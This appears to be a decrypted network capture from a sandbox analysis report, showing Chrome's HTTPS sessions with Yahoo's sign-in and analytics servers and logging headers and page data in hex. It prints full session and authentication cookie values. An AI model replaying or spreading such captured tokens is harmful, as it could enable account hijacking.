vyb5D6n9c-~A\|B65a07934\|tUuwa_T.2SJXuHvDycA_I8uhuBKm4_i5hevfsF1hvakJ3IPsVh2LtxjkAr_V_N6eTNq9DeKJdy8u2z.MSWS.4mtc3WKpsnUKjZ0IUUUrQbVBYeF_tj9ECrWZEqTHKjYqqlesfDMivkFRkqc5_pHJagWcOb32kuNAN4SpsydIkJsiOZXS_Csej32aThrxJVfcywKOIOvZaxIwvXWUyq8PPmLxyoFHI5Dv3g4aHApFoSWJbpm8tDina.FfcdV4yOV99GiVBjoV6JwKhvJ5jUx4TEd_3LptVb5nV5aDmk8VrO6y8MTd8.hgVMOkJ7QpA4wRHIMYt09fzmDRfPLnwFvm6369lE7ij7ckp41.NNG8f7_8F4tsZpt2ar1puSbZFaWe_DzaxSqUwMx9OU.FiciOSvc7L8LbqCwHWpWmWqJpz_6ZOJRj.fuYZVBA0J6bo5AJK1CjzgwZiMflBMA5TQoRXBPhou6PulsjV1H8BzNGOAVOBmcJWN2KxuL84lz2hhA.O6vFCLYjxO7ap1CuBCxlEl2EcYdqBM9CjBHyOi_mf_P33G9ubNaAID4IslR5LGJjER15G.XlDvoAY9c3.Y1Zj4bc3KuLu_4rvgCRGw3ltaK48OaC_UQmbJjh2SPXLzwiqpCdsZGZcNzUYY9teAq._SP3BdWt1mS_ZEmUOfqbDTCmeMV0gOnaIBdAwh2Z_IIFJ7rJxPEW9qHwxmgeWGWvyEjoujFNHb_2_5.lXfIoHnGGwVRyWvF5bHx1nB6zUom.3qGEsogugB_6bHSXeZKF63L_rGkinuRCOOuWsniv2tiyEDcWkXdpFUWWPgQ-~A
2024-01-10 23:26:58 UTC	3102	IN	HTTP/1.1 302 Found Referrer-Policy: strict-origin-when-cross-origin Strict-Transport-Security: max-age=15552000 X-Content-Type-Options: nosniff X-Frame-Options: DENY X-XSS-Protection: 1; mode=block Age: 0 Pragma: no-cache Expires: 0 Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: AS=v=1&s=QDyTdhCQ&d=A65a07924\|QQOjr1r.2SKEPiU1eekFzxL_UuGtwszOkmPseF.SMkzyoUU4buET3gAqpasRxVwBcL0lbjD_XOcNwo3REj3mzUO.4mCosuYjBdPsA.yrGJRBB23gPtm.xZZ4OIGSa59HYzX_g7zlbjXBc.K1r0jf1JNj.bgno7J8cIBSJCbVah.7X5cBXC6s5zkqkN.K7Trh4jOUh3SAgO7K4SwQmoktYT6mJszsLPQZOOf6BCGM9c5fS5MdPaFvgP.2uBrD4F3yWRbLql1QtmzuROIoNADXmtW6x.u4QbJN1mjDhGi4mjgFTOFE60_7GTCM.RNiEI4Nqty2.LfGrvOUurbJ_gpbEcaWwGoIyiy5ffr4Ptsg5tR94kna_Q5lLsDf37FLO3SJ7QmODStqMuR7Qbzj4GtnkJiyndl1Pi.8a7kESzEp4sn_VE3Lqi.xQswHLs_mmSZpwRJxIPGa1RcWAx2pS2Am_Xnwj_A4zBHmfOwSFnGnFN9SvX_eFqNN7OoNoWkSPK8hQfamVhcriDZXmHP5PcHIcLtcmVIr4EwH.6S4VHkJTqesvo9sAShgswqB1P6KL.Y4Uig3hb7Xd1K.43B.ly5olC6HGIM.HjKbVEW0eRrvZ26zznDntBYzvjAF1laDT9L8XgWyaeRb_fEWcGRqro9rahJxLot7jn4_qrMDXoifAU_GIQpiYPhtXz3Bvoi35Di1dBd88JJdVh94kgP.gtJo5Aphm8L1oW_R8GpEu_hnM53GO8wU_WdTa52lr25IAitcJsGK907BU6TGNlafkox9F3IOYaX1mK2lKVrPMJSDgluUEKvyb5D6n9c-~A\|B65a07934\|tUuwa_T.2SJXuHvDycA_I8uhuBKm4_i5hevfsF1hvakJ3IPsVh2LtxjkAr_V_N6eTNq9DeKJdy8u2z.MSWS.4mtc3WKpsnUKjZ0IUUUrQbVBYeF_tj9ECrWZEqTHKjYqqlesfDMivkFRkqc5_pHJagWcOb32kuNAN4SpsydIkJsiOZXS_Csej32aThrxJVfcywKOIOvZaxIwvXWUyq8PPmLxyoFHI5Dv3g4aHApFoSWJbpm8tDina.FfcdV4yOV99GiVBjoV6JwKhvJ5jUx4TEd_3LptVb5nV5aDmk8VrO6y8MTd8.hgVMOkJ7QpA4wRHIMYt09fzmDRfPLnwFvm6369lE7ij7ckp41.NNG8f7_8F4tsZpt2ar1puSbZFaWe_DzaxSqUwMx9OU.FiciOSvc7L8LbqCwHWpWmWqJpz_6ZOJRj.fuYZVBA0J6bo5AJK1CjzgwZiMflBMA5TQoRXBPhou6PulsjV1H8BzNGOAVOBmcJWN2KxuL84lz2hhA.O6vFCLYjxO7ap1CuBCxlEl2EcYdqBM9CjBHyOi_mf_P33G9ubNaAID4IslR5LGJjER15G.XlDvoAY9c3.Y1Zj4bc3KuLu_4rvgCRGw3ltaK48OaC_UQmbJjh2SPXLzwiqpCdsZGZcNzUYY9teAq._SP3BdWt1mS_ZEmUOfqbDTCmeMV0gOnaIBdAwh2Z_IIFJ7rJxPEW9qHwxmgeWGWvyEjoujFNHb_2_5.lXfIoHnGGwVRyWvF5bHx1nB6zUom.3qGEsogugB_6bHSXeZKF63L_rGkinuRCOOuWsniv2tiyEDcWkXdpFUWWPgQ-~A\|C65a07942\|Bew3Y1f.2SI_yIdVrME0vU7aGzzIyMmECnKOzp87XKLUtzJcZ5Cbkb6lnl69Yi0OSwee0oSUb0vpLVKVTTQdwDNp4viw3YjMde1TpOw94whX8PdJmA.odboVy4LufYmtG7ulzHJSkfa.QusVaXRmZNVMC2VuLqJPRYMnS_N_F3S0aCse7NJJUcSlc8dah6qcP6k6IYHHN122l6j4KI_cI6LCkX0ysmUeNWO36mwFpbTEmMEeIpCP8NdzL9QD8biRuZvAreLBIeHX7IGxqso60t0flUBGwkoTC5f4eHg6nj18vp67vk_yQh0bOBYHBN1tHe7Z23cBjE5LpD5ww9MqAMnKoOL18q_rO3MFaoGnKkPB_E_9XrpqJNfH.nAdOYU_tiGxYcIjvieELbEzKM_J663YaTouIOFXPZGis4Nrk4AVneL1OganxXSo.nM85hd6hULXa6B.8RminvZgW5xd_xbcVZIXDa04KtLulwH01W7NgWd04_h96c1xMJtCkWQSeePdG_.OvE7TYjTWcVuML5L9Ho3jmJxOqjjBWljwx8yktNUpNOMk2osJeTaj_gySv0xBSEyBnU.1_WDuUe5Igol6jYARO95PmdffJUd1W7Rm_LiXp_9oEXOkZiFOIj9s.bPHHNRN6jVdL4_pl_zIY8EEgoxx3kGlIvUqjWljwbcbHrJSXqWx13Q4M3n_0agxPe05QNKplV8MPjQFXjrtQ1Z3ufaFJiPYsRJ.sXf1iB2ubU.rlAMwo.BjiBRbExu0564cLBcnKgt5o0CxOn86nhplyzdRZ.CNAtbKNcK7xbBIzzBWbONhHday~A; path=/; domain=login.yahoo.com; secure; HttpOnly Location: /account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionIndex=Qw-- Vary: Accept, Accept-Encoding Content-Type: text/html; charset=utf-8 Content-Length: 272
2024-01-10 23:26:58 UTC	2202	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 63 68 69 6c 64 2d 73 72 63 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 79 61 68 6f 6f 2e 6e 65 74 20 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 73 31 2e 79 69 6d 67 2e 63 6f 6d 3b 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 67 65 6f 2e 79 61 68 6f 6f 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 70 72 2e 63 6f 6d 65 74 2e 79 61 68 6f 6f 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 73 65 72 76 65 72 2d 64 65 76 2e 63 6f 6d 65 74 2e 79 61 68 6f 6f 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 73 65 72 76 65 72 2e 63 6f 6d 65 74 2e 79 61 68 6f 6f 2e 63 6f 6d 20 Data Ascii: Content-Security-Policy: base-uri 'self';child-src 'self' https://login.yahoo.net https://s.yimg.com https://s1.yimg.com;connect-src 'self' https://geo.yahoo.com https://pr.comet.yahoo.com https://server-dev.comet.yahoo.com https://server.comet.yahoo.com
2024-01-10 23:26:58 UTC	272	IN	Data Raw: 3c 70 3e 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 61 63 63 6f 75 6e 74 2f 63 68 61 6c 6c 65 6e 67 65 2f 75 73 65 72 6e 61 6d 65 3f 64 6f 6e 65 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 6d 61 69 6c 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 46 26 61 6d 70 3b 61 75 74 68 4d 65 63 68 61 6e 69 73 6d 3d 73 65 63 6f 6e 64 61 72 79 26 61 6d 70 3b 73 65 73 73 69 6f 6e 49 6e 64 65 78 3d 51 77 2d 2d 22 3e 2f 61 63 63 6f 75 6e 74 2f 63 68 61 6c 6c 65 6e 67 65 2f 75 73 65 72 6e 61 6d 65 3f 64 6f 6e 65 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 6d 61 69 6c 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 46 26 61 6d 70 3b 61 75 74 68 4d 65 63 68 61 6e 69 73 6d 3d 73 65 63 6f 6e 64 61 72 79 26 61 6d 70 3b 73 65 73 73 69 6f 6e 49 Data Ascii: <p>Found. Redirecting to <a href="/account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionIndex=Qw--">/account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49785	67.195.204.151	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:58 UTC	3585	OUT	GET /account/challenge/username?done=https%3A%2F%2Fmail.yahoo.com%2F&authMechanism=secondary&sessionIndex=Qw-- HTTP/1.1 Host: login.yahoo.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; AS=v=1&s=QDyTdhCQ&d=A65a07924\|QQOjr1r.2SKEPiU1eekFzxL_UuGtwszOkmPseF.SMkzyoUU4buET3gAqpasRxVwBcL0lbjD_XOcNwo3REj3mzUO.4mCosuYjBdPsA.yrGJRBB23gPtm.xZZ4OIGSa59HYzX_g7zlbjXBc.K1r0jf1JNj.bgno7J8cIBSJCbVah.7X5cBXC6s5zkqkN.K7Trh4jOUh3SAgO7K4SwQmoktYT6mJszsLPQZOOf6BCGM9c5fS5MdPaFvgP.2uBrD4F3yWRbLql1QtmzuROIoNADXmtW6x.u4QbJN1mjDhGi4mjgFTOFE60_7GTCM.RNiEI4Nqty2.LfGrvOUurbJ_gpbEcaWwGoIyiy5ffr4Ptsg5tR94kna_Q5lLsDf37FLO3SJ7QmODStqMuR7Qbzj4GtnkJiyndl1Pi.8a7kESzEp4sn_VE3Lqi.xQswHLs_mmSZpwRJxIPGa1RcWAx2pS2Am_Xnwj_A4zBHmfOwSFnGnFN9SvX_eFqNN7OoNoWkSPK8hQfamVhcriDZXmHP5PcHIcLtcmVIr4EwH.6S4VHkJTqesvo9sAShgswqB1P6KL.Y4Uig3hb7Xd1K.43B.ly5olC6HGIM.HjKbVEW0eRrvZ26zznDntBYzvjAF1laDT9L8XgWyaeRb_fEWcGRqro9rahJxLot7jn4_qrMDXoifAU_GIQpiYPhtXz3Bvoi35Di1dBd88JJdVh94kgP.gtJo5Aphm8L1oW_R8GpEu_hnM53GO8wU_WdTa52lr25IAitcJsGK907BU6TGNlafkox9F3IOYaX1mK2lKVrPMJSDgluUEKvyb5D6n9c-~A\|B65a07934\|tUuwa_T.2SJXuHvDycA_I8uhuBKm4_i5hevfsF1hvakJ3IPsVh2LtxjkAr_V_N6eTNq9DeKJdy8u2z.MSWS.4mtc3WKpsnUKjZ0IUUUrQbVBYeF_tj9ECrWZEqTHKjYqqlesfDMivkFRkqc5_pHJagWcOb32kuNAN4SpsydIkJsiOZXS_Csej32aThrxJVfcywKOIOvZaxIwvXWUyq8PPmLxyoFHI5Dv3g4aHApFoSWJbpm8tDina.FfcdV4yOV99GiVBjoV6JwKhvJ5jUx4TEd_3LptVb5nV5aDmk8VrO6y8MTd8.hgVMOkJ7QpA4wRHIMYt09fzmDRfPLnwFvm6369lE7ij7ckp41.NNG8f7_8F4tsZpt2ar1puSbZFaWe_DzaxSqUwMx9OU.FiciOSvc7L8LbqCwHWpWmWqJpz_6ZOJRj.fuYZVBA0J6bo5AJK1CjzgwZiMflBMA5TQoRXBPhou6PulsjV1H8BzNGOAVOBmcJWN2KxuL84lz2hhA.O6vFCLYjxO7ap1CuBCxlEl2EcYdqBM9CjBHyOi_mf_P33G9ubNaAID4IslR5LGJjER15G.XlDvoAY9c3.Y1Zj4bc3KuLu_4rvgCRGw3ltaK48OaC_UQmbJjh2SPXLzwiqpCdsZGZcNzUYY9teAq._SP3BdWt1mS_ZEmUOfqbDTCmeMV0gOnaIBdAwh2Z_IIFJ7rJxPEW9qHwxmgeWGWvyEjoujFNHb_2_5.lXfIoHnGGwVRyWvF5bHx1nB6zUom.3qGEsogugB_6bHSXeZKF63L_rGkinuRCOOuWsniv2tiyEDcWkXdpFUWWPgQ-~A\|C65a07942\|Bew3Y1f.2SI_yIdVrME0vU7aGzzIyMmECnKOzp87XKLUtzJcZ5Cbkb6lnl69Yi0OSwee0oSUb0vpLVKVTTQdwDNp4viw3YjMde1TpOw94whX8PdJmA.odboVy4LufYmtG7ulzHJSkfa.QusVaXRmZNVMC2VuLqJPRYMnS_N_F3S0aCse7NJJUcSlc8dah6qcP6k6IYHHN122l6j4KI_cI6LCkX0ysmUeNWO36mwFpbTEmMEeIpCP8NdzL9QD8biRuZvAreLBIeHX7IGxqso60t0flUBGwkoTC5f4eHg6nj18vp67vk_yQh0bOBYHBN1tHe7Z23cBjE5LpD5ww9MqAMnKoOL18q_rO3MFaoGnKkPB_E_9XrpqJNfH.nAdOYU_tiGxYcIjvieELbEzKM_J663YaTouIOFXPZGis4Nrk4AVneL1OganxXSo.nM85hd6hULXa6B.8RminvZgW5xd_xbcVZIXDa04KtLulwH01W7NgWd04_h96c1xMJtCkWQSeePdG_.OvE7TYjTWcVuML5L9Ho3jmJxOqjjBWljwx8yktNUpNOMk2osJeTaj_gySv0xBSEyBnU.1_WDuUe5Igol6jYARO95PmdffJUd1W7Rm_LiXp_9oEXOkZiFOIj9s.bPHHNRN6jVdL4_pl_zIY8EEgoxx3kGlIvUqjWljwbcbHrJSXqWx13Q4M3n_0agxPe05QNKplV8MPjQFXjrtQ1Z3ufaFJiPYsRJ.sXf1iB2ubU.rlAMwo.BjiBRbExu0564cLBcnKgt5o0CxOn86nhplyzdRZ.CNAtbKNcK7xbBIzzBWbONhHday~A
2024-01-10 23:26:58 UTC	2579	IN	HTTP/1.1 200 OK Referrer-Policy: strict-origin-when-cross-origin Strict-Transport-Security: max-age=15552000 X-Content-Type-Options: nosniff X-Frame-Options: DENY X-XSS-Protection: 1; mode=block Age: 0 Pragma: no-cache Expires: 0 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=utf-8 Content-Length: 35908 Content-Security-Policy: base-uri 'self';child-src 'self' https://login.yahoo.net https://s.yimg.com https://s1.yimg.com;connect-src 'self' https://geo.yahoo.com https://pr.comet.yahoo.com https://server-dev.comet.yahoo.com https://server.comet.yahoo.com https://ws.progrss.yahoo.com https://udc.yahoo.com https://jsapi.login.yahoo.com https://www.yahoo.com https://guce.yahoo.com/ https://ups.analytics.yahoo.com https://api.taboola.com/1.2/json/taboola-usersync/user.sync;default-src 'self' https://s.yimg.com https://s1.yimg.com https://login.yahoo.net;font-src https://s.yimg.com https://s1.yimg.com;frame-src 'self' https://login.yahoo.net https://s.yimg.com https://s1.yimg.com https://gpt.mail.yahoo.net/sandbox https://guce.oath.com/ https://opus.analytics.yahoo.com https://tsdtocl.com/;img-src 'self' data: https://yahoo.com https://ct.yimg.com https://s.yimg.com https://s1.yimg.com https://tw.yimg.com https://geo.yahoo.com https://socialprofiles.zenfs.com https://.wc.yahoodns.net https://beap-bc.yahoo.com https://ws.progrss.yahoo.com https://log.fc.yahoo.com https://backyard.yahoo.com https://.ah.yahoo.com https://pr-bh.ybp.yahoo.com https://fbcdn.net https://scontent.xx.fbcdn.net https://z-m-scontent.xx.fbcdn.net https://graph.facebook.com https://data.mail.yahoo.com https://platform-lookaside.fbsbx.com https://www.yahoo.com;media-src https://.ah.yahoo.com https://s.yimg.com;object-src 'none';report-uri https://csp.yahoo.com/beacon/csp?src=mbr_account;script-src 'unsafe-inline' 'self' https://s.yimg.com https://s1.yimg.com https://query.yahoo.com https://.query.yahoo.com https://y.analytics.yahoo.com https://jsapi.login.yahoo.com https://fc.yahoo.com https://e2e.fc.yahoo.com https://pr.comet.yahoo.com https://server-dev.comet.yahoo.com https://server.comet.yahoo.com https://opus.analytics.yahoo.com/tag/opus.js https://consent.cmp.oath.com/cmp.js https://search.yahoo.com https://.search.yahoo.com 'nonce-zQqhUPDG5xzTbXpXFrWwPt4U9UvUb+OI/31GJoZR1kuyy0JW' ;style-src 'unsafe-inline' Vary: Accept-Encoding Date: Wed, 10 Jan 2024 23:26:58 GMT Connection: close Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"
2024-01-10 23:26:58 UTC	3009	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 69 64 3d 22 53 74 65 6e 63 69 6c 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 6c 69 67 68 74 2d 74 68 65 6d 65 20 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f Data Ascii: <!DOCTYPE html><html id="Stencil" class="no-js light-theme "> <head> <meta charset="utf-8"> <meta name="viewport" content="initial-scale=1, maximum-scale=1, user-scalable=0, shrink-to-fit=no"/> <meta name="format-detection" co
2024-01-10 23:26:58 UTC	16384	IN	Data Raw: 46 5c 75 30 30 32 46 73 65 72 76 65 72 2e 63 6f 6d 65 74 2e 79 61 68 6f 6f 2e 63 6f 6d 5c 75 30 30 32 46 63 6f 6d 65 74 22 3b 0a 72 6f 6f 74 2e 63 68 61 6c 6c 65 6e 67 65 20 7c 7c 20 28 72 6f 6f 74 2e 63 68 61 6c 6c 65 6e 67 65 20 3d 20 7b 7d 29 3b 0a 72 6f 6f 74 2e 63 68 61 6c 6c 65 6e 67 65 2e 73 65 72 76 69 6e 67 53 74 61 6d 70 20 3d 20 31 37 30 34 39 32 39 32 31 38 33 30 30 3b 0a 72 6f 6f 74 2e 63 68 61 6c 6c 65 6e 67 65 2e 69 73 41 6e 64 72 6f 69 64 57 65 62 76 69 65 77 20 3d 20 66 61 6c 73 65 3b 0a 72 6f 6f 74 2e 49 31 33 4e 5f 63 6f 6e 66 69 67 2e 6b 65 79 73 2e 70 63 74 20 3d 20 22 73 69 67 6e 69 6e 22 3b 0a 72 6f 6f 74 2e 43 4f 55 4e 54 52 59 5f 43 4f 44 45 53 5f 4d 41 50 20 3d 20 7b 22 41 46 22 3a 22 2b 39 33 22 2c 22 41 4c 22 3a 22 2b 33 35 35 Data Ascii: F\u002Fserver.comet.yahoo.com\u002Fcomet";root.challenge \|\| (root.challenge = {});root.challenge.servingStamp = 1704929218300;root.challenge.isAndroidWebview = false;root.I13N_config.keys.pct = "signin";root.COUNTRY_CODES_MAP = {"AF":"+93","AL":"+355
2024-01-10 23:26:58 UTC	16384	IN	Data Raw: 39 36 34 29 26 23 78 32 30 32 43 3b 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 72 6f 6c 65 3d 22 6f 70 74 69 6f 6e 22 20 64 61 74 61 2d 63 6f 64 65 3d 22 2b 33 35 33 22 20 76 61 6c 75 65 3d 22 49 45 22 20 3e 49 72 65 6c 61 6e 64 20 26 23 78 32 30 32 41 3b 28 2b 33 35 33 29 26 23 78 32 30 32 43 3b 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 72 6f 6c 65 3d 22 6f 70 74 69 6f 6e 22 20 64 61 74 61 2d 63 6f 64 65 3d 22 2b 39 37 32 22 20 76 61 6c 75 65 3d 22 49 4c 22 20 3e 49 73 72 61 65 6c 20 26 23 78 32 30 32 41 3b 28 2b 39 37 32 29 26 23 78 32 30 32 43 3b 3c 2f 6f 70 74 69 6f 6e 3e 0a 20 20 20 20 20 20 20 20 3c 6f 70 74 69 6f 6e 20 72 6f 6c 65 3d 22 6f 70 74 69 6f 6e 22 20 64 61 74 61 2d 63 Data Ascii: 964)‬</option> <option role="option" data-code="+353" value="IE" >Ireland ‪(+353)‬</option> <option role="option" data-code="+972" value="IL" >Israel ‪(+972)‬</option> <option role="option" data-c
2024-01-10 23:26:58 UTC	131	IN	Data Raw: 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 66 65 30 32 2e 63 61 6e 61 72 79 2e 6d 65 6d 62 65 72 2e 62 66 31 2e 79 61 68 6f 6f 2e 63 6f 6d 20 2d 20 57 65 64 20 4a 61 6e 20 31 30 20 32 30 32 34 20 32 33 3a 32 36 3a 35 38 20 47 4d 54 2b 30 30 30 30 20 28 43 6f 6f 72 64 69 6e 61 74 65 64 20 55 6e 69 76 65 72 73 61 6c 20 54 69 6d 65 29 20 2d 20 28 30 6d 73 29 20 2d 2d 3e Data Ascii: </body></html>... fe02.canary.member.bf1.yahoo.com - Wed Jan 10 2024 23:26:58 GMT+0000 (Coordinated Universal Time) - (0ms) -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49786	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:59 UTC	1077	OUT	POST /v2/public/yql?yhlVer=2&yhlClient=rapid&yhlS=794200015&yhlCT=2&yhlBTMS=1704929218214&yhlClientVer=3.53.39&yhlRnd=sckit1HnBJw39MWz&yhlCompressed=0 HTTP/1.1 Host: udc.yahoo.com Connection: keep-alive Content-Length: 1629 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept: / Origin: https://login.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://login.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E
2024-01-10 23:26:59 UTC	1629	OUT	Data Raw: 71 3d 73 65 6c 65 63 74 25 32 30 2a 25 32 30 66 72 6f 6d 25 32 30 78 25 32 30 77 68 65 72 65 25 32 30 61 25 32 30 25 33 44 25 32 30 27 25 37 42 25 32 32 62 70 25 32 32 25 33 41 25 37 42 25 32 32 5f 61 31 73 25 32 32 25 33 41 25 32 32 64 25 33 44 41 51 41 42 42 4c 77 6e 6e 32 55 43 45 4c 34 6c 45 33 45 4a 43 34 5f 58 73 44 59 46 34 69 74 6e 52 56 38 46 45 67 45 42 41 51 46 35 6f 47 57 70 5a 64 77 77 30 69 4d 41 5f 65 4d 41 41 41 25 32 36 53 25 33 44 41 51 41 41 41 6c 6d 4a 49 39 42 4d 39 44 73 33 48 35 50 45 55 55 79 55 62 36 45 25 32 32 25 32 43 25 32 32 5f 70 6c 25 32 32 25 33 41 25 32 32 31 25 32 32 25 32 43 25 32 32 41 5f 76 25 32 32 25 33 41 25 32 32 33 2e 35 33 2e 33 39 25 32 32 25 32 43 25 32 32 41 5f 63 6e 25 32 32 25 33 41 25 32 32 56 45 52 53 49 Data Ascii: q=select%20*%20from%20x%20where%20a%20%3D%20'%7B%22bp%22%3A%7B%22_a1s%22%3A%22d%3DAQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA%26S%3DAQAAAlmJI9BM9Ds3H5PEUUyUb6E%22%2C%22_pl%22%3A%221%22%2C%22A_v%22%3A%223.53.39%22%2C%22A_cn%22%3A%22VERSI
2024-01-10 23:26:59 UTC	593	IN	HTTP/1.1 204 No Content access-control-allow-origin: https://login.yahoo.com vary: Origin access-control-allow-credentials: true cache-control: no-store, no-cache, private, max-age=0 p3p: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" pragma: no-cache expires: -1 x-envoy-upstream-service-time: 1 date: Wed, 10 Jan 2024 23:26:59 GMT server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49789	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:07 UTC	1803	OUT	POST /p?s=794200015&t=KNfXuY3n8UgxxcJH,0.9500539256173672&_I=&_AO=0&_NOL=0&_R=&_P=3.53.39%05_a1s%03d%3DAQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA%26S%3DAQAAAlmJI9BM9Ds3H5PEUUyUb6E%04_pl%031%04A_v%033.53.39%04A_cn%03VERSIONED-PROD%04_bt%03rapid%04done%03https%3A%2F%2Fmail.yahoo.com%2F%04authMechanism%03secondary%04sessionIndex%03Qw--%04A_pr%03https%04A_tzoff%031%04A_sid%03ZMpaDo328vEJxR6U%04_w%03login.yahoo.com%2Faccount%2Fchallenge%2Fusername%04pt%03utility%04ver%03nodejs%04pg_name%03usernameChallenge%04gm_np%03yahoo%04p_sec%03DEFAULT_SECTION%04p_subsec%03DEFAULT_SUBSECTION%04test%03mbr-apt-trap-design-v2%2Cmbr-smart2sv-ph2-b%2C%04pct%03signin%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03window.blur%04A_prets%031704929218%04A_prems%03209%04_E%03dwell%04_ts%031704929227%04_ms%03206%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 